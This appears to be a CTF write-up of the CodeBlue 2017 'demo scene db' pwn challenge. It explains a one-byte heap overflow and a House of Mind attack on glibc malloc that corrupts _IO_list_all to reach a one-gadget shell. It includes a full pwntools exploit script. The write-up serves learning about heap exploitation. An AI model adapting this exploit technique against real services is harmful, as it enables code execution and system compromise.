Introduction
This challenge is given on CodeBlue CTF 2017. Based on the source code provided on [1], I try to solve this challenge via House of Mind. I think it’s impossible for me to solve this in contest. As part of my tutorial, I decide to use this challenge for explaining House of Mind.
Vulnerability Analysis
According to the source code, the vulnerability lies in the following code snippt:
used_size = size_from&~LUMP_BIT; if (size_to < used_size) { used_size = size_to; } memmove(animations[to]->scenes, animations[from]->scenes, used_size);
The vulnerability is used_size will be set to a value, which is larger than the actual size of scenes of to animation causing an one-byte-off error in the end.
Exploitation Plan
Information Leak
I write my exploit on my local machine. So base address of libc and heap is different from the info of real challenge. A special situation in this challenge is that the connection to the server is always forked from the server process. Therefore, the child process share the same address space of parent process. Therefore, we can get the base address info from abort message. The write-up given by 217 [2] seems to use the same method.
Memory Massaging
The hard point of this challenge lies in that the free function is invoked after sending the quit command. Therefore the free function could only be invoked once and we cannot use the chunk overlapping for solving this challenge. According to the intention of the author of this challenge, we have to use House of Mind to solve this one. So we have to craft a fake mstate variable in memory.
Another tedious part in this challenge is how to craft variable in memory. According to my tests on my local machine, if the payload contains a ‘\x00’ or ‘\x0a’ the characters after them will be omitted. So I have to take a very troublesome method to set ‘\x00’ in my exploit, i.e. using the terminating character of a string to set ‘\x00’
Hijacking Control Flow
Since the old-style House of Mind has already been mitigated in the libc, actually in this challenge we get only a chance to corrupt the data at a given address. To be more specific, we are using the following code in malloc_consolidate during _int_free to corrupt the data.
first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p;
Similar to unsorted bin attack, we utilise the code above to corrupt the data of _IO_list_add and hijack the control flow similar to [4].
To find the heap for a chunk pointer, 0xfffffa000000 will be used to and with the chunk pointer. Therefore, I have to craft a fake arena at 0x4000000. After some attempts, I finally craft the value at 0x4000000 as following:
// the allocated chunks stored in animation list 0x604740: 0x0000000003fffe10 0x0000000004002110 0x604750: 0x0000000004012310 0x0000000004022410 //the crafted heap in memory. 0x4000000: 0x00000000024a5020 0x0000000000000000 0x4000010: 0x0000000000000000 0x0000000000000000 0x4000020: 0x0000000000000000 0x0000000000000000 0x4000030: 0x0000000000000000 0x0000000000000000
The following thing is to create a fake mstate variable at 0x24a5020, including flag, top chunk pointer and fastBin[0]. After corrupting the data of _IO_list_all, we trigger the abort path in unlink and hijack the control flow.
Another annoying part of the challenge is that, I have craft various values in memory to pass all the security checks before malloc_consolidate:
/* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely (p == av->top)) { errstr = "double free or corruption (top)"; goto errout; } /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0)) { errstr = "double free or corruption (out)"; goto errout; } /* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) { errstr = "double free or corruption (!prev)"; goto errout; } nextsize = chunksize(nextchunk); if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect (nextsize >= av->system_mem, 0)) { errstr = "free(): invalid next size (normal)"; goto errout; }
Exploit
from pwn import * import sys import os DEBUG = int(sys.argv[1]); serverID = sys.argv[2]; r = remote("localhost", 11451); #attach to new session os.system("ps aux > log"); fd = open("log", 'r'); lines = fd.readlines(); pid = ""; for line in lines: if(("demo" in line) and (serverID not in line)): pid = line.split()[1]; log.info(pid); break; count = 0; if(DEBUG == 2): gdb.attach(int(pid), '''source ./script.py'''); def halt(): while(True): log.info(r.recvline()); def createAnimationLump(num, desc, content): global count; r.recvuntil(">"); r.sendline("1"); r.recvuntil("How many scenes does your animation use?:"); r.sendline(str(num)); r.recvuntil("Do you want to use the region as one scene?[Y/n]:"); r.sendline("Y"); r.sendline(desc); r.sendline(content); count = count + 1; return count def createAnimationSlice(num, desc, content): global count; r.recvuntil(">"); r.sendline("1"); r.recvuntil("How many scenes does your animation use?:"); r.sendline(str(num)); r.recvuntil("Do you want to use the region as one scene?[Y/n]:"); r.sendline("N"); r.sendline(desc); for i in range(0, num): r.sendline(content); count = count + 1; return count; def editDesc(index, desc): r.recvuntil(">"); r.sendline("2"); r.recvuntil("Which description do you want to edit?:"); r.sendline(str(index)); r.sendline(desc); def editSceneLump(index, content): r.recvuntil(">"); r.sendline("3"); r.recvuntil("Which scenes do you want to edit?:"); r.sendline(str(index)); r.sendline(content); def editSceneSlice(index, num, content): r.recvuntil(">"); r.sendline("3"); r.recvuntil("Which scenes do you want to edit?:"); r.sendline(str(index)); for i in range(0, num): r.sendline(content); def showAnimation(): r.recvuntil(">"); r.sendline("4"); def copyAnimation(src, dst): r.recvuntil(">"); r.sendline("5"); r.recvuntil("Which animation do you want to copy?: "); r.sendline(str(src)); r.recvuntil("Dest: "); r.sendline(str(dst)); def combineAnimation(idx1, idx2, desc): r.recvuntil(">"); r.sendline("6"); r.recvuntil("Which animations do you want to combine?: "); r.sendline(str(idx1)); r.sendline(str(idx2)); r.sendline(desc); def editDescValue64(index, payload, offset): editDesc(index, "A"*(offset+7)); editDesc(index, "A"*(offset+6)); editDesc(index, "A"*(offset+5)); editDesc(index, "A"*(offset+4)); editDesc(index, "A"*(offset+3)); editDesc(index, "A"*(offset+2)); editDesc(index, "A"*(offset+1)); editDesc(index, "A"*offset + payload); def editDescValue32(index, payload, offset): editDesc(index, "A"*(offset+3)); editDesc(index, "A"*(offset+2)); editDesc(index, "A"*(offset+1)); editDesc(index, "A"*offset + payload); def editSceneValue64(index, payload, offset): editSceneLump(index, "A"*(offset+7)); editSceneLump(index, "A"*(offset+6)); editSceneLump(index, "A"*(offset+5)); editSceneLump(index, "A"*(offset+4)); editSceneLump(index, "A"*(offset+3)); editSceneLump(index, "A"*(offset+2)); editSceneLump(index, "A"*(offset+1)); editSceneLump(index, "A"*offset + payload); def editSceneValue32(index, payload, offset): editSceneLump(index, "A"*(offset+3)); editSceneLump(index, "A"*(offset+2)); editSceneLump(index, "A"*(offset+1)); editSceneLump(index, "A"*offset + payload); def quit(): r.recvuntil(">"); r.sendline("7"); def leak(): a1 = createAnimationLump(2, "A"*0x20, "A"*0x1ff); a2 = createAnimationLump(1, "A"*0x20, "C"*0xff); a3 = createAnimationLump(1, "A"*0x20, "D"*0xff); copyAnimation(a1, a2); quit(); halt(); def exploit(): libcBase = 0x7f019d520000; libc = ELF("./libc.so.6"); stdioAddr = libc.symbols["_IO_list_all"]; heapAddr = 0x24a5010; log.info("0x%x" % stdioAddr); for i in range(0, 218): log.info(i); createAnimationLump(0x1ff, "A"*0x20, 'A'*(0x200-1)); a1 = createAnimationLump(0x1ad, "GG", 'B'*0x100 ); fake = createAnimationLump(0x22, "GG", 'C'*0x20); a3 = createAnimationLump(0x101, "victim1", 'D'*0x10000+"\x05"); a4 = createAnimationLump(0x100, "victim2", "E"*(0x10000-1)); a5 = createAnimationLump(0x100, "victim3", "F"*(0x10000-1)); copyAnimation(a1, fake); copyAnimation(a3, a4); oneGadgetAddr = libcBase + 0xf1117; # edit the first animation # set AV+0x58 = 0x4032500 top chunk # set fast[0] = 0x24a5110 editDescValue64(1, p64(libcBase + stdioAddr - 0x18), 0x78); editDescValue64(1, p32(0x4032510), 0x68); editDescValue64(1, "A", 0x61); editDescValue64(1, p32(heapAddr+0x100), 0x18) editDescValue32(1, "\x02", 0x14) editDescValue32(1, "\n", 0x10); editSceneValue64(fake, p32(heapAddr+0x10), 0xf8); editSceneValue32(1, "\x01", 0x79c); editSceneValue32(1, "A", 0x797); #memery massaging editSceneValue64(1, p32(0x24a5610), 0x510); editSceneValue64(1, p32(0x24a5710), 0x510); editSceneValue64(1, p32(0x24a5810), 0x510); editSceneValue64(1, p32(0x24a5910), 0x510); editSceneValue64(1, "\x01\x01", 0x410); editSceneValue64(1, "A", 0x409); editSceneValue64(1, "\x01\x01", 0x408); editSceneValue64(1, "A", 0x401); editSceneValue64(1, p32(0x24a5610), 0x320); editSceneValue64(1, p32(0x24a5610), 0x318); editSceneValue64(1, "\x01\x01", 0x310); editSceneValue64(1, "\x01\x01", 0x210); editSceneValue64(1, "\x01\x01", 0x110); editSceneValue64(1, p32(heapAddr + 0x120), 0xe0) editSceneValue64(1, p32(heapAddr + 0x130), 0xa8); editSceneValue64(1, "\x02",0x58); #0x24a5160 editSceneValue64(1, "\x01",0x50); #0x24a51658 log.info("setting one gadget offset: 0x%x" % oneGadgetAddr); editSceneValue64(1, p64(oneGadgetAddr), 0x40); editSceneValue64(1, p32(heapAddr + 0x500), 0x18); editSceneValue64(1, "\x01\x01", 0x10); editSceneValue64(1, "\n", 0x8); quit(); r.interactive(); if(DEBUG == 0): leak(); elif(DEBUG == 1): exploit(); elif(DEBUG == 2): exploit();
In the final, it seems that I cannot get any output from typing command with the error message “sh: 0: can’t access tty; job control turned off”. But after viewing the output of pstree command, I indeed pwn a shell from the service process. I googled some solutions online, but none seems feasible to solve this problem. In future, I will try to fix this problem if feasible solution is found.
Here lists the output of pstree during the process and after hijacking control flow.
Here lists the output after changing the value of oneGadgetAddr to 0x41414141.
Conclusion
I feel crazy and upset when I was debugging the challenge on my local machine during the past few days. For the real challenge, how on earth can I craft those values without the help of debugger? Maybe I need to learn how to plan the exploit before starting to write exploit and take every detail into consideration.
It’s clear that the write-up given by 217 is totally different from mine. I may take time to see what they did.
Reference
[1] http://binja.github.io/2017/11/13/Thoughts-on-CODE-BLUE-CTF-write-ups/
[2] https://github.com/david942j/ctf-writeups/tree/master/codeblue-2017/demo_scene_db
[3] https://gbmaster.wordpress.com/2015/06/15/x86-exploitation-101-house-of-mind-undead-and-loving-it/
[4] http://4ngelboy.blogspot.sg/2016/10/hitcon-ctf-qual-2016-house-of-orange.html